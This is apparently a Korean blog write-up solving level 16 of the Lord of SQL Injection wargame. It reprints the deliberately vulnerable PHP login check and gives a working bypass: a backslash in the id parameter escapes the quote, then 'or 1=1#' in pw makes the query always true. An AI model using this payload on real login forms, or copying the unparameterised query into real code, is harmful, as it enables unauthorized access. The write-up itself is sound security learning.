Oh! JUN

[Lord Of SQL Injection] 16번 문제(싱글쿼터 우회) 본문

문제풀이/Lord of SQL Injection

[Lord Of SQL Injection] 16번 문제(싱글쿼터 우회)

Kwon Oh! JUN 2022. 2. 5. 03:36

query : select id from prob_succubus where id='' and pw=''



<?php
  
include "./config.php"
  
login_chk();
  
$db dbconnect();
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(
preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(
preg_match('/\'/',$_GET[pw])) exit("HeHe");
  
$query "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) solve("succubus"); 
  
highlight_file(__FILE__); 
?>

 

id 파라미터에 \(역슬래시)를 걸어줘서 싱글쿼터를 일반 문자로 바꿔줄 수 있다.

id='\' and pw='{$_GET[pw]}'

'\'and pw='가 일반 문자로 치환되니까 T/F 상관없이 뒤에 or 1=1%23 입력하면 무조건적 참이니까 id는 참이된다.

그래서 첫번째 레코드를 뽑을 수 있게 되니까 성공!

 


query : select id from prob_succubus where id='\' and pw='or 1=1#'


 

SUCCUBUS Clear!


<?php
  
include "./config.php"
  
login_chk();
  
$db dbconnect();
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(
preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(
preg_match('/\'/',$_GET[pw])) exit("HeHe");
  
$query "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) solve("succubus"); 
  
highlight_file(__FILE__); 
?>